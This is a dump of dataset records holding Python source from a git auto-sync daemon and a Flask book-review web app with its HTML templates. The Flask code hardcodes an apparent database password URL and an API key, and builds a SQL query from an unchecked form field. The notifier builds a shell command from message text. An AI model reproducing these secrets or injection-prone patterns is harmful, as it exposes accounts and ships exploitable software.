os.path\nimport logging\nimport optparse\nimport threading\n\nfrom lib import json\nfrom watcher import EventWatcher, Event\nfrom notifier import Notifier\nfrom actions.vcs_action import Action\n\nDEFAULT_CONF_FILE='syncilainen.json'\nDEFAULT_LOG_FILE=None\n\n\nclass SyncilainenException(Exception): pass\n\nclass Syncilainen(object):\n def __init__(self, conf_file=DEFAULT_CONF_FILE):\n self.conf_file = conf_file\n self.watchers = []\n self.load_config()\n\n def start(self):\n for w in self.watchers:\n logging.info(\"Syncilainen.start: %s\" % w)\n w.start()\n\n def stop(self):\n for w in self.watchers:\n logging.info(\"Syncilainen.stop: %s\" % w)\n w.stop()\n self.watchers = []\n\n def reload_config(self):\n self.stop()\n self.load_config()\n self.start()\n\n def load_config(self):\n # read the configuration JSON file\n logging.info(\"Reading config: %s\" % self.conf_file)\n config = None\n try:\n fp = open(self.conf_file)\n config = json.load(fp)\n except:\n logging.error(sys.exc_info()[1])\n exit(1)\n\n if config:\n # start\n for d in config['watch_directories']:\n # XXX: should str() be used here?\n watch_directory = str(os.path.abspath(os.path.expanduser(d['path'])))\n logging.info(\"watching: %s\", d['path'])\n\n action = Action(config['id'], watch_directory)\n if d['notifier']['enabled']:\n action.notifier = Notifier('Syncilainen', d['notifier']['disable_after_n_errors'])\n self.watchers.append(EventWatcher(action))\n else:\n raise SyncilainenException(\"Could not load config file\")\n\n\ndef read_options():\n # read in command line options\n parser = optparse.OptionParser()\n parser.add_option('-c', '--conf-file', dest='conf_file', default=DEFAULT_CONF_FILE, help=\"Config file location (defaults to %s)\" % DEFAULT_CONF_FILE)\n parser.add_option('--log', dest='log_file', default=DEFAULT_LOG_FILE, help=\"where to send log messages (defaults to %s)\" % DEFAULT_LOG_FILE)\n parser.add_option('--debug', dest='debug', action='store_true', default=False, help='Debug mode')\n \n options, args = parser.parse_args()\n if len(args) != 0:\n parser.error(\"Unknown arguments %s\\n\" % args)\n print(options)\n return options\n\n\ndef setup_logging(log_file=None, debug=False):\n # set up logging\n if log_file:\n filename = log_file\n stream = None\n else:\n filename = None\n stream = sys.stderr\n\n datefmt = '%Y-%m-%d %H:%M:%S'\n\n if debug:\n level=logging.DEBUG\n format='%(asctime)s [%(threadName)s] %(message)s'\n else:\n level=logging.INFO\n format='%(asctime)s %(message)s'\n\n if stream:\n logging.basicConfig(level=level,\n format=format,\n stream=stream,\n datefmt=datefmt)\n else:\n logging.basicConfig(level=level,\n format=format,\n filename=filename,\n datefmt=datefmt)\n'''\n def pull_timer(secs):\n action.callback(Event({}))\n if secs > 0:\n t = threading.Timer(secs, pull_timer, [secs])\n t.start()\n\n # start pull timer\n #pull_timer(d['auto_pull_secs'])\n'''\n\ndef main():\n syncilainen = None\n\n def reload(signum, stack):\n if syncilainen:\n syncilainen.reload_config()\n\n def quit(signum, stack):\n if syncilainen:\n syncilainen.stop()\n exit(0)\n\n # listen for SIGHUP or SIGUSR1 and reload config\n signal.signal(signal.SIGHUP, reload)\n signal.signal(signal.SIGUSR1, reload)\n\n # listen for SIGINT and quit gracefully\n signal.signal(signal.SIGINT, quit)\n\n # boilerplate\n options = read_options()\n setup_logging(options.log_file, options.debug)\n \n logging.info(\"PID: %s\" % os.getpid())\n \n # start the syncilainen daemon\n syncilainen = Syncilainen()\n syncilainen.start()\n\n # wait for signals\n while True:\n signal.pause()\n\n\ndef init():\n options = read_options()\n setup_logging(options.log_file, options.debug)\n\n # start the syncilainen daemon\n syncilainen = Syncilainen(options.conf_file)\n syncilainen.start()\n\n\nif __name__ == '__main__':\n main()\n\n\n" }, { "alpha_fraction": 0.598473310470581, "alphanum_fraction": 0.6000000238418579, "avg_line_length": 24.153846740722656, "blob_id": "8d7854b8ee2b2bdc929a8ec2abe24d9bec367a3e", "content_id": "358df4dbd81fac47bfa900ce9d9bbd059e0eb3cd", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1310, "license_type": "permissive", "max_line_length": 87, "num_lines": 52, "path": "/watcher/impl/fsevent.py", "repo_name": "konker/syncilainen", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# watcher.impl.fsevent\n# \n# MacFSEvents implementation of the EventWatcher interface (Mac OS X)\n#\n# Authors: Konrad Markus <[email protected]>\n#\n\nimport fsevents\nimport logging\n\n\nclass EventImpl(object):\n def __init__(self, rep):\n # 'cookie', 'mask', 'name'\n if rep:\n self.pathname = rep.name\n self.mask = rep.mask\n else:\n self.pathname = ''\n self.mask = 0\n\n def __str__(self):\n return \"fsevent.EventImpl: %s, %s\" % (self.mask, self.pathname)\n\n\nclass EventWatcherImpl(object):\n def __init__(self, watch_directory, action):\n self.handler = EventHandlerImpl(action)\n\n self._observer = fsevents.Observer()\n self._stream = fsevents.Stream(self.handler, watch_directory, file_events=True)\n logging.info(\"Using EventWatcher: fsevents\")\n\n def start(self):\n logging.info(\"Starting: %s\" % self)\n self._observer.schedule(self._stream)\n self._observer.start()\n\n def stop(self):\n logging.info(\"Stopping: %s\" % self)\n self._observer.unschedule(self._stream)\n self._observer.stop()\n\n\nclass EventHandlerImpl(object):\n def __init__(self, action):\n self.action = action\n\n def __call__(self, event):\n self.action.callback(EventImpl(event))\n\n\n" }, { "alpha_fraction": 0.6470588445663452, "alphanum_fraction": 0.6574394702911377, "avg_line_length": 23.08333396911621, "blob_id": "0b7db456af15f9329ef32d191ebbd81fd88a58bd", "content_id": "3cd912b5bf824c711b3df4722a70fb30d23c3fc0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 289, "license_type": "permissive", "max_line_length": 57, "num_lines": 12, "path": "/notifier/impl/dummy.py", "repo_name": "konker/syncilainen", "src_encoding": "UTF-8", "text": "import logging\n\nNORMAL_LEVEL_IMPL = 0\nERROR_LEVEL_IMPL = 1\n\nclass NotifierImpl(object):\n def __init__(self, title, disable_after_n_errors=-1):\n self.title = title\n logging.info(\"Using Notifier: dummy\")\n\n def notify(self, message, level=NORMAL_LEVEL_IMPL):\n pass\n" }, { "alpha_fraction": 0.7264721989631653, "alphanum_fraction": 0.7330765128135681, "avg_line_length": 38.5, "blob_id": "3364857995b1f6b0b719a33bcd1d98fdcc72f88f", "content_id": "9dc8da482eb454975066a8ff5760f8f1dde21473", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1817, "license_type": "permissive", "max_line_length": 72, "num_lines": 46, "path": "/lib/json.py", "repo_name": "konker/syncilainen", "src_encoding": "UTF-8", "text": "#\n# Copyright 2009 Helsinki Institute for Information Technology\n# and the authors.\n#\n# Authors: Ken Rimey <[email protected]>\n#\n\n# Permission is hereby granted, free of charge, to any person\n# obtaining a copy of this software and associated documentation files\n# (the \"Software\"), to deal in the Software without restriction,\n# including without limitation the rights to use, copy, modify, merge,\n# publish, distribute, sublicense, and/or sell copies of the Software,\n# and to permit persons to whom the Software is furnished to do so,\n# subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be\n# included in all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n# IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n# CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n# TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n# SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\nfrom __future__ import absolute_import\n\ntry:\n import json # Python 2.6\nexcept ImportError:\n import simplejson as json # Python 2.5\n\ndump = json.dump\ndumps = json.dumps\nload = json.load\n\ndef loads(s, *args, **kwargs):\n # When its argument is of type str, loads() decodes strings as\n # either str or unicode depending on whether simplejson's speedups\n # are installed (at least this is true in simplejson 2.0.7). It\n # always decodes strings as unicode when the argument to loads()\n # is of type unicode.\n if isinstance(s, str):\n s = s.decode('utf-8')\n return json.loads(s, *args, **kwargs)\n" }, { "alpha_fraction": 0.5960490703582764, "alphanum_fraction": 0.5974114537239075, "avg_line_length": 24.736841201782227, "blob_id": "3fc62093fd1534f2a773ed27eede44bfbd86d5d8", "content_id": "be42f54baa106d2c37881495a33ec6f4bee7c41f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1468, "license_type": "permissive", "max_line_length": 71, "num_lines": 57, "path": "/watcher/impl/inotify.py", "repo_name": "konker/syncilainen", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# watcher.impl.inotify\n# \n# pyinotify implementation of the EventWatcher interface (Linux)\n#\n# Authors: Konrad Markus <[email protected]>\n#\n\nimport pyinotify\nimport logging\n\n\nclass EventImpl(object):\n def __init__(self, rep):\n # 'dir', 'mask', 'maskname', 'name', 'path', 'pathname', 'wd'\n if rep:\n self.pathname = rep.pathname\n self.mask = rep.mask\n else:\n self.pathname = ''\n self.mask = 0\n\n def __str__(self):\n return \"inotify.EventImpl: %s, %s\" % (self.mask, self.pathname)\n\n\nclass EventWatcherImpl(object):\n def __init__(self, watch_directory, action):\n self.handler = EventHandlerImpl(action)\n\n mask = pyinotify.IN_ATTRIB\n mask |= pyinotify.IN_CREATE\n mask |= pyinotify.IN_DELETE\n mask |= pyinotify.IN_MODIFY\n mask |= pyinotify.IN_MOVED_FROM\n mask |= pyinotify.IN_MOVED_TO\n\n self.__wm = pyinotify.WatchManager()\n self.__notifier = pyinotify.Notifier(self.__wm, self.handler)\n self.__wm.add_watch([watch_directory], mask, rec=True)\n logging.info(\"Using EventWatcher: inotify\")\n\n def start(self):\n self.__notifier.loop()\n\n def stop(self):\n #[FIXME: something here?]\n pass\n\n\nclass EventHandlerImpl(pyinotify.ProcessEvent):\n def __init__(self, action):\n self.action = action\n\n def process_default(self, event):\n self.action.callback(EventImpl(event))\n\n" }, { "alpha_fraction": 0.6113861203193665, "alphanum_fraction": 0.617986798286438, "avg_line_length": 28.414634704589844, "blob_id": "a5fc64c745cc67ce707394dc2316e34587573e45", "content_id": "99476a48a0af3d11ad4a4d00ecc4f6fa9e830279", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1212, "license_type": "permissive", "max_line_length": 77, "num_lines": 41, "path": "/notifier/impl/notifysend.py", "repo_name": "konker/syncilainen", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# watcher.impl.notifysend\n# \n# notify-send implementation of the Notifier interface (Linux)\n#\n# Authors: Konrad Markus <[email protected]>\n#\n\nimport logging\nimport subprocess\nfrom shell.cmd import exec_cmd, exec_cmd_out\n\n# try to locate the notify-send command line tool, or raise ImportError\nNOTIFY_SEND = exec_cmd_out(\"which notify-send\").strip() \nif NOTIFY_SEND == '':\n raise ImportError()\n\nNORMAL_LEVEL_IMPL = 0\nERROR_LEVEL_IMPL = 1\n\nclass NotifierImpl(object):\n def __init__(self, title, disable_after_n_errors=-1):\n self.title = title\n self.disable_after_n_errors = disable_after_n_errors\n self._consecutive_errors = 0\n logging.info(\"Using Notifier: %s\" % NOTIFY_SEND)\n\n def notify(self, message, level=NORMAL_LEVEL_IMPL):\n if message == \"\":\n return\n\n if level == ERROR_LEVEL_IMPL:\n self._consecutive_errors = self._consecutive_errors + 1\n else:\n self._consecutive_errors = 0\n\n if self.disable_after_n_errors > 0:\n if self._consecutive_errors < self.disable_after_n_errors:\n cmd = \"%s \\\"%s\\\" \\\"%s\\\"\" % (NOTIFY_SEND, self.title, message)\n exec_cmd(cmd)\n \n\n" }, { "alpha_fraction": 0.7232289910316467, "alphanum_fraction": 0.7265238761901855, "avg_line_length": 26.545454025268555, "blob_id": "c215a85209d754e63c710e9204c7d7d486e7fcbf", "content_id": "8b65ca0b59e6756f84bd90d08704f5ca18a375e0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 607, "license_type": "permissive", "max_line_length": 85, "num_lines": 22, "path": "/notifier/__init__.py", "repo_name": "konker/syncilainen", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# notifier\n# \n# Dynamically loads a Notifier interface implementation\n#\n# Authors: Konrad Markus <[email protected]>\n#\n\ntry:\n from impl.growlnotify import NotifierImpl, NORMAL_LEVEL_IMPL, ERROR_LEVEL_IMPL\nexcept ImportError:\n try:\n from impl.notifysend import NotifierImpl, NORMAL_LEVEL_IMPL, ERROR_LEVEL_IMPL\n except ImportError:\n from impl.dummy import NotifierImpl, NORMAL_LEVEL_IMPL, ERROR_LEVEL_IMPL\n\nNORMAL_LEVEL = NORMAL_LEVEL_IMPL\nERROR_LEVEL = ERROR_LEVEL_IMPL\n\ndef Notifier(title, disable_after_n_errors=-1):\n return NotifierImpl(title, disable_after_n_errors)\n\n" }, { "alpha_fraction": 0.6929824352264404, "alphanum_fraction": 0.6959064602851868, "avg_line_length": 14.5, "blob_id": "99f3bc0aff95355b25928567139fcf0a06925134", "content_id": "81263c90687f25139ee4e670f66b63044f3880d0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 342, "license_type": "permissive", "max_line_length": 50, "num_lines": 22, "path": "/vcs/__init__.py", "repo_name": "konker/syncilainen", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# vcs\n# \n# Dynamically loads a VCS interface implementation\n#\n# Authors: Konrad Markus <[email protected]>\n#\n\nclass UnknownVCSException(Exception): pass\n\nOK = True\nNOT_OK = False\n\ntry:\n from impl.git import VCSImpl\nexcept ImportError:\n raise UnknownVCSException()\n\n\ndef VCS(repo_directory):\n return VCSImpl(repo_directory)\n\n" }, { "alpha_fraction": 0.517163097858429, "alphanum_fraction": 0.5180141925811768, "avg_line_length": 33.54901885986328, "blob_id": "cb954da9c4ec13f43ce2bc71483c4fcbec22644e", "content_id": "b3d3a505d4c24f5f77795ba5f9bbdb12ecf6932e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3525, "license_type": "permissive", "max_line_length": 98, "num_lines": 102, "path": "/actions/vcs_action.py", "repo_name": "konker/syncilainen", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# actions.vcs_actions\n# \n# Commit to a remote VCS repository on filesystem events\n#\n# Authors: Konrad Markus <[email protected]>\n#\n\nimport logging\nfrom datetime import datetime\nfrom vcs import VCS, OK\nfrom notifier import NORMAL_LEVEL, ERROR_LEVEL\n\nclass Action(object):\n def __init__(self, id, watch_directory, notifier=None):\n self.id = id\n self.watch_directory = watch_directory\n self.notifier = notifier\n self.vcs = VCS(watch_directory)\n self._working = False\n logging.info(\"Using Action: vcs\")\n\n def _add_commit_push_cycle(self, event):\n status = self.vcs.status()\n if len(status) > 0:\n modes,files = zip(*status)\n\n file_list = ','.join(files)\n message = \"syncilainen[%s]: %s: %s\" % (self.id, datetime.now().isoformat(), file_list)\n\n logging.debug(\"%s: add\" % event.pathname)\n result,error = self.vcs.add()\n if not result == OK:\n logging.error(\"%s: add\" % error)\n if self.notifier:\n self.notifier.notify(error, ERROR_LEVEL)\n return result,error\n\n logging.debug(\"%s: commit_all\" % event.pathname)\n result,error = self.vcs.commit_all(message)\n if not result == OK:\n return result,error\n\n logging.debug(\"%s: push\" % event.pathname)\n result,error = self.vcs.push()\n if not result == OK:\n # fetch\n logging.debug(\"%s: fetch\" % event.pathname)\n result,error = self.vcs.fetch()\n\n # merge\n logging.debug(\"%s: merge\" % event.pathname)\n result,error = self.vcs.merge()\n if not result == OK:\n # ls_files\n logging.debug(\"%s: get_unmerged\" % event.pathname)\n unmerged = self.vcs.get_unmerged()\n logging.debug(\"unmerged: %s\" % unmerged)\n\n for u in unmerged:\n # save theirs as <id>.<sha1>.<filename>\n logging.debug(\"%s: save_theirs\" % event.pathname)\n self.vcs.save_theirs(u, id)\n\n # force ours to be <filename>\n logging.debug(\"%s: force_ours\" % event.pathname)\n self.vcs.force_ours(u)\n\n # recurse\n logging.debug(\"%s: recurse\" % event.pathname)\n return self._add_commit_push_cycle(event)\n\n # Everything went OK\n return result,message\n\n # Nothing to do\n return OK,\"\"\n\n def callback(self, event):\n if self.vcs.ignore_path in event.pathname:\n #logging.debug(\"ignoring: %s\" % event.pathname)\n return\n\n if self._working:\n #logging.debug(\"working.. ignoring: %s\" % event.pathname)\n return\n\n self._working = True\n\n logging.debug(\"%s: _add_commit_push_cycle\" % event.pathname)\n result,message = self._add_commit_push_cycle(event)\n if not result == OK:\n logging.error(\"%s: _add_commit_push_cycle\" % error)\n if self.notifier:\n self.notifier.notify(error, ERROR_LEVEL)\n else:\n # Everything went OK\n logging.info(\"%s: OK: %s\" % (event.pathname, message))\n self._working = False\n if self.notifier:\n self.notifier.notify(message, NORMAL_LEVEL)\n\n" }, { "alpha_fraction": 0.6666666865348816, "alphanum_fraction": 0.6685606241226196, "avg_line_length": 20.95833396911621, "blob_id": "d52448071317131a92846c385ba11d62517f34e8", "content_id": "eefefae0eed8d1b2af5a5964962ea2c628078496", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 528, "license_type": "permissive", "max_line_length": 101, "num_lines": 24, "path": "/shell/cmd.py", "repo_name": "konker/syncilainen", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# shell.cmd\n# \n# Execute shell commands in a subprocess\n#\n# Authors: Konrad Markus <[email protected]>\n#\n\nimport subprocess\n\ndef exec_cmd_out(cmd, cwd=None):\n stdout,stderr = exec_cmd(cmd, cwd)\n return stdout\n\ndef exec_cmd_err(cmd, cwd=None):\n stdout,stderr = exec_cmd(cmd, cwd)\n return stderr\n\ndef exec_cmd(cmd, cwd=None):\n pipe = subprocess.Popen(cmd, shell=True, cwd=cwd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n stdout,stderr = pipe.communicate()\n pipe.wait()\n return stdout,stderr\n\n" } ]
13
chris65013/bibliotheca
https://github.com/chris65013/bibliotheca
db6725961674240a20dcb1bf22c1c7f795f0b5c2
258f54dce1c3b169857f9a0a6076317116cc742f
73f2607ef0dab42fb4594bd50f53d566ba7f6281
refs/heads/master
2021-01-05T12:18:51.536763
2020-02-17T04:59:12
2020-02-17T04:59:12
241,022,509
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7987616062164307, "alphanum_fraction": 0.8049535751342773, "avg_line_length": 45.14285659790039, "blob_id": "443435597763baaa8a97b27596d0939d703e8c60", "content_id": "2594704dc5f82fd9bd9bc7bc0c5fa58c39a6a028", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 323, "license_type": "permissive", "max_line_length": 112, "num_lines": 7, "path": "/project1/README.md", "repo_name": "chris65013/bibliotheca", "src_encoding": "UTF-8", "text": "# Project 1\n\nWeb Programming with Python and JavaScript\n\n`books.csv` contains books information imported for this project executing `python` code written in `import.py`.\n`Templates` folder contains webpages needed for the website incoded in jinja2.\n`Static` folder contains logo and css stylesheet needed for this website\n" }, { "alpha_fraction": 0.6176470518112183, "alphanum_fraction": 0.619099497795105, "avg_line_length": 40.5175895690918, "blob_id": "5c600f6e2ab96df8d8f5b3e7d19eff480bec8feb", "content_id": "6aa3e4cbd0093f2d13425d1784912698b8d7435c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8262, "license_type": "permissive", "max_line_length": 131, "num_lines": 199, "path": "/project1/application.py", "repo_name": "chris65013/bibliotheca", "src_encoding": "UTF-8", "text": "import os\nimport requests\n\nfrom flask import Flask, session, render_template, request, jsonify\nfrom flask_session import Session\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import scoped_session, sessionmaker\nfrom werkzeug.security import generate_password_hash, check_password_hash\n\napp = Flask(__name__)\n\n# Check for environment variable even though the create_engine is using the database url because I'm not very bright\nif not os.getenv(\"DATABASE_URL\"):\n raise RuntimeError(\"DATABASE_URL is not set\")\n\n# Configure session to use filesystem\napp.config[\"SESSION_PERMANENT\"] = False\napp.config[\"SESSION_TYPE\"] = \"filesystem\"\nSession(app)\n\n# Set up database\nengine = create_engine('postgres://xvfqwrzgppnzdg:0f69793a9e538a174a5c3e5c3baf3e9c701ceb3c6b27c151d7715e39a0ee9376@ec2-3-230-106-126.compute-1.amazonaws.com:5432/dc0aako6mb7lag')\n\ndb = scoped_session(sessionmaker(bind=engine))\n\n\n# Homepage\[email protected](\"/\")\ndef index():\n status = \"Loggedout\"\n try:\n username=session[\"username\"]\n status=\"\"\n except KeyError:\n username=\"\"\n return render_template(\"index.html\", work=\"Login\", status=status, username=username)\n\n\n# Login Page\[email protected](\"/login\", methods=[\"GET\", \"POST\"])\ndef login():\n # Request rom /register\n if request.method == \"POST\":\n username = request.form.get(\"username\")\n # Checking if the user is registered\n if db.execute(\"SELECT id FROM userbase WHERE username= :username\", {\"username\": username}).fetchone() is not None:\n return render_template(\"login.html\", work=\"Login\",\n error_message=\"The user has already registered. Please Login.\")\n password = request.form.get(\"Password\")\n db.execute(\"INSERT INTO userbase (username, password) VALUES (:username, :password)\",\n {\"username\": username, \"password\": generate_password_hash(password)})\n db.commit()\n return render_template(\"login.html\", work=\"Login\", message=\"Success\")\n\n return render_template(\"login.html\", work=\"Login\")\n\n\n# Logout for the website\[email protected](\"/logout\")\ndef logout():\n try:\n session.pop(\"username\")\n except KeyError:\n return render_template(\"login.html\", work=\"Login\", error_message=\"Please Login First\")\n return render_template(\"index.html\", work=\"Login\", status=\"Loggedout\")\n\n\n# Register Page\[email protected](\"/register\")\ndef register():\n return render_template(\"login.html\", work=\"Register\")\n\n\n# Comes after logging in\[email protected](\"/search\", methods=[\"GET\", \"POST\"])\ndef search():\n # Request from /login to log a user in\n if request.method == \"POST\":\n # Checking if the user is present, if not present show error message and redirect to /register\n username = request.form.get(\"username\")\n user = db.execute(\"SELECT id, password FROM userbase WHERE username= :username\", {\"username\": username}).fetchone()\n if user is None:\n return render_template(\"login.html\", error_message=\"The user hasn't been registered. Please register.\",\n work=\"Register\")\n\n password = request.form.get(\"Password\")\n if not check_password_hash(user.password, password):\n return render_template(\"login.html\", error_message=\"Your password doesn't match to that of \" + username +\n \". Please try again.\", work=\"Login\")\n session[\"username\"] = username\n session[\"user_id\"] = user.id\n if request.method == \"GET\" and \"username\" not in session:\n return render_template(\"login.html\", error_message=\"Please Login First\", work=\"Login\")\n return render_template(\"search.html\", username=username)\n\n\n# Page to show books as per search result\[email protected](\"/booklist\", methods=[\"POST\"])\ndef booklist():\n if \"username\" not in session:\n return render_template(\"login.html\", error_message=\"Please Login First\", work=\"Login\")\n\n book_column = request.form.get(\"book_column\")\n query = request.form.get(\"query\")\n\n if book_column == \"year\":\n book_list = db.execute(\"SELECT * FROM books WHERE year = :query\", {\"query\": query}).fetchall()\n else:\n book_list = db.execute(\"SELECT * FROM books WHERE UPPER(\" + book_column + \") LIKE :query ORDER BY title\",\n {\"query\": \"%\" + query.upper() + \"%\"}).fetchall()\n\n if len(book_list):\n return render_template(\"booklist.html\", book_list=book_list, username=session[\"username\"])\n\n elif book_column != \"year\":\n error_message = \"We couldn't find the books you searched for.\"\n if not len(book_list):\n return render_template(\"error.html\", error_message=error_message)\n message = \"You might be searching for:\"\n return render_template(\"booklist.html\", error_message=error_message, book_list=book_list, message=message,\n username=session[\"username\"])\n else:\n return render_template(\"error.html\", error_message=\"We didn't find any book with the year you typed.\"\n \" Please check for errors and try again.\")\n\n\n# Detail about book that matches id\[email protected](\"/detail/<int:book_id>\", methods=[\"GET\", \"POST\"])\ndef detail(book_id):\n if \"username\" not in session:\n return render_template(\"login.html\", error_message=\"Please Login First\", work=\"Login\")\n\n book = db.execute(\"SELECT * FROM books WHERE id = :book_id\", {\"book_id\": book_id}).fetchone()\n if book is None:\n return render_template(\"error.html\", error_message=\"We got an invalid book id\"\n \". Please check for the errors and try again.\")\n\n # Summiting review.\n if request.method == \"POST\":\n user_id = session[\"user_id\"]\n rating = request.form.get(\"rating\")\n comment = request.form.get(\"comment\")\n if db.execute(\"SELECT id FROM reviews WHERE user_id = :user_id AND book_id = :book_id\",\n {\"user_id\": user_id, \"book_id\": book_id}).fetchone() is None:\n db.execute(\n \"INSERT INTO reviews (user_id, book_id, rating, comment) VALUES (:user_id, :book_id, :rating, :comment)\",\n {\"book_id\": book.id, \"user_id\": user_id, \"rating\": rating, \"comment\": comment})\n else:\n db.execute(\n \"UPDATE reviews SET comment = :comment, rating = :rating WHERE user_id = :user_id AND book_id = :book_id\",\n {\"comment\": comment, \"rating\": rating, \"user_id\": user_id, \"book_id\": book_id})\n db.commit()\n\n # Processing json from goodreads\n res = requests.get(\"https://www.goodreads.com/book/review_counts.json\",\n params={\"key\": \"ciOVC4V8WZ9EtWjYCdxRUg\", \"isbns\": book.isbn}).json()[\"books\"][0]\n\n ratings_count = res[\"ratings_count\"]\n average_rating = res[\"average_rating\"]\n reviews = db.execute(\"SELECT * FROM reviews WHERE book_id = :book_id\", {\"book_id\": book.id}).fetchall()\n userbase = []\n for review in reviews:\n username = db.execute(\"SELECT username FROM userbase WHERE id = :user_id\", {\"user_id\": review.user_id}).fetchone().username\n userbase.append((username, review))\n\n return render_template(\"detail.html\", book=book, userbase=userbase,\n ratings_count=ratings_count, average_rating=average_rating, username=session[\"username\"])\n\n\n# Page for the website's API\[email protected](\"/api/<ISBN>\", methods=[\"GET\"])\ndef api(ISBN):\n book = db.execute(\"SELECT * FROM books WHERE isbn = :ISBN\", {\"ISBN\": ISBN}).fetchone()\n if book is None:\n return render_template(\"error.html\", error_message=\"We got an invalid ISBN. \"\n \"Please check for the errors and try again.\")\n reviews = db.execute(\"SELECT * FROM reviews WHERE book_id = :book_id\", {\"book_id\": book.id}).fetchall()\n count = 0\n rating = 0\n for review in reviews:\n count += 1\n rating += review.rating\n if count:\n average_rating = rating / count\n else:\n average_rating = 0\n\n return jsonify(\n title=book.title,\n author=book.author,\n year=book.year,\n isbn=book.isbn,\n review_count=count,\n average_score=average_rating\n )\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n" }, { "alpha_fraction": 0.4695759117603302, "alphanum_fraction": 0.4800245761871338, "avg_line_length": 26.593219757080078, "blob_id": "44e18b413dc616879aeab96c58e18e11ff5dded2", "content_id": "d829c004db447f09b0a9c1d671725815e53b1a7c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 1627, "license_type": "permissive", "max_line_length": 76, "num_lines": 59, "path": "/project1/templates/detail.html", "repo_name": "chris65013/bibliotheca", "src_encoding": "UTF-8", "text": "{% extends \"base.html\" %}\n\n{% block anchor %}\n <a class=\"nav-link \" href='{{ url_for('logout') }}'>\n Logout <strong>{{ username }}</strong>\n </a>\n{% endblock %}\n\n{% block body %}\n <h1>Book Details:</h1>\n <p>\n ISBN: {{ book.isbn }}<br>\n Title: {{ book.title }}<br>\n Author: {{ book.author }}<br>\n Year: {{ book.year }}<br>\n </p>\n\n <br><h3>Goodreads Rating:</h3>\n <p>\n Total Number of Ratings : {{ ratings_count }} <br>\n Average Rating : {{ average_rating }}<br>\n </p>\n\n <h3>Reviews:</h3>\n <div class=\"rating_local\">\n {% for username, review in userbase %}\n <h5>{{ username }}</h5>\n <strong>Rating: </strong> {{ review.rating }} <br>\n <h6>Comment:</h6>\n <p>\n {{ review.comment }}\n </p>\n {% endfor %}\n\n </div>\n\n <br><h3>User Ratings</h3>\n <form action = \"{{ url_for('detail', book_id=book.id) }}\" method=\"post\">\n\n <div class=\"form-group\">\n <label for=\"rating\">Rating ( Out of 5 )</label>\n <select class=\"form-control\" name=\"rating\" id=\"rating\">\n {% for count in range(5) %}\n <option value=\"{{ count+1 }}\">{{ count+1 }}</option>\n {% endfor %}\n </select>\n </div>\n <div class=\"form-group\">\n <label for=\"comment\">Comment:</label>\n <textarea class=\"form-control\" rows=\"5\" name=\"comment\"></textarea>\n </div>\n\n <div class=\"form-group\">\n <button class=\"btn btn-primary\" type=\"submit\">Submit</button>\n </div>\n\n </form>\n\n{% endblock %}" }, { "alpha_fraction": 0.6062052249908447, "alphanum_fraction": 0.6133651733398438, "avg_line_length": 45.592594146728516, "blob_id": "90ad59e2cbf3ba818ab3d6e0971cd5a5c1775799", "content_id": "7da6cc9ffdb87dc3a61f9c656341c43646f57cd1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 1257, "license_type": "permissive", "max_line_length": 138, "num_lines": 27, "path": "/project1/templates/homepage.html", "repo_name": "chris65013/bibliotheca", "src_encoding": "UTF-8", "text": "{% extends 'base.html' %}\n\n{% block anchor %}\n {% if status == \"Loggedout\" %}\n <a class=\"nav-link \" href='{{ url_for('login') }}' xmlns=\"http://www.w3.org/1999/html\">\n Login\n </a>\n {% else %}\n <a class=\"nav-link \" href='{{ url_for('logout') }}'>\n Logout <strong>{{ user_email }}</strong>\n </a>\n {% endif %}\n\n{% endblock %}\n\n{% block body %}\n <br>\n <p>\n Welcome to <strong>Book Sansar</strong> which literal translation is \"Word of Books\". Knowing \"A book is a man's best friend.\",\n we have brought you a collection of more than 4500 books. Here you can find with their detail information like ISBN, year, author,\n etc. You can see the rating for the book you desired after you logged in here. You can submit review to any book you like and\n comment it to help other readers know how is the book. We have added \"Goodreads\" API too, from where you can see a book's global\n desire with its rating number and average rating from readers world wide. We have also created an API from our site, just in case\n you want get information from our database and build you own web application or website.\n </p>\n\n{% endblock %}" }, { 